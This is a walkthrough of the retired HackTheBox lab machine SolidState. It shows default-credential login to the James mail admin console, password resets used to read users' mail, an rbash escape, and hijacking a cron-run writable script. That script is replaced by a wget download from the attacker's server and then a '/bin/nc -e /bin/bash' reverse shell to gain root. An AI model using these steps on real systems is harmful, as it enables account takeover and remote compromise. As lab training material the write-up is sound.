HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform. Note: Writeups of only retired HTB machines are allowed. The machine in this article, named SolidState, is retired.
The walkthrough
Let’s start with this machine. [CLICK IMAGES TO ENLARGE]
Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.
The SolidState machine IP is 10.10.10.51.
We will adopt the same methodology of performing penetration testing as we have previously used. Let’s start with enumeration in order to gain as much information about the machine as possible.
As usual, let’s start with the nmap scan to gather more information about the services running on this machine. «nmap -sC -sV -oA solidstate 10.10.10.51»
As we can see, there is the presence of a James smtpd server. There are some known exploits for this; let’s look at this one.
If we read the exploit, we can see that it is trying to connect to port 4555 with the default credentials root/root.
Let’s see if we have port 4555 open on the machine or not. «nmap -sC -sV -p4555 10.10.10.51»
Great, so the port is opened and James smtpd is running. Let’s try to Telnet to this server. «telnet 10.10.10.51 4555»
Run HELP to see the available commands. « HELP »
Execute the command listusers to see available users. « listusers »
Since we know the users, let’s change their password using setpassword.
Since the passwords are reset now, let’s try to connect to POP. Let’s start with user James. Nothing interesting here. «telnet 10.10.10.51 110» «USER james» «PASS james»
Trying with user “thomas” also did not reveal anything interesting. «telnet 10.10.10.51 110» «USER thomas» «PASS thomas»
Moving onto the next user, “john,” there is an entry. Let’s retrieve that. It looks like Admin has sent an email to John to send Mindy a temporary password. «telnet 10.10.10.51 110» «USER john» «PASS john» «RETR 1»
So let’s see if we can find something in Mindy’s folder. Here we can see two messages. Browsing through both of them reveals a password. «telnet 10.10.10.51 110» «USER mindy» «PASS mindy» «RETR 2»
Trying this password on SSH for Mindy works. Great! « ssh mindy@10.10.10.51»
Browsing the directory to reveals the user.txt. «pwd» «ls» «cat user.txt»
Let’s try to escalate the privileges. As usual, we start with the kernel version. This is because we have got a very restricted shell, rbash. «uname -a»
This can be easily bypassed like below. Once we have got the shell, let’s escape that with Python shell. «ssh mindy@10.10.10.51 sh» «id» «which python» «python -c ‘import pty; pty.spawn(“bash”)’»
Now if we run uname -a, it will give us the version. «uname -a»
Following some steps of privilege escalation, let’s try to find the files which are writable by everyone. «find / -writable -type f 2>/dev/null»
There is a file called /opt/tmp.py which looks interesting. Let’s try to see its permissions. «ls -l /opt/tmp.py»
Let’s see the contents of this file, though it does not matter since we can replace the file. When I cat the contents of the file, it strangely has someone’s reverse shell snippet in it. I reverted the machine again to make sure this file was supposed to be there by default and looks like it does. «cat /opt/tmp.py» «which nc»
We cannot directly edit the file in the current shell using vi editor. Let’s try to replicate this file on the attacking machine and change the code to move the content of root.txt to /dev/shm.
Raise a Python webserver to host this file. «python -m SimpleHTTPServer»
Move to the /tmp directory and download this file. «wget http://
:8000/tmp.py» Copy this file to /opt/tmp.py. «cp tmp.py to /opt/tmp.py»
Now we do not know when this file will be executed by the cron, but it can be directly executed as well. «cat root.txt»
Below, we can see the file is executed and contents of root.txt file.
Now to get the shell, let’s edit the file to get the nc shell back, since nc is also present on this machine. Also spawn a shell on the attacking machine as well. « /bin/nc -e /bin/bash
1234» « nc -nlvp 1234» Download this file and execute: « wget http://
:8000/tmp.py» Below we can see that we got the root shell.
This was a really good machine with a lot to offer. Notice that we have not even used the exploit directly and relied on the defaults. This box also provides some learning on how to escape restricted shells and to perform privilege escalation. We will continue this series with many more interesting machines from HTB.
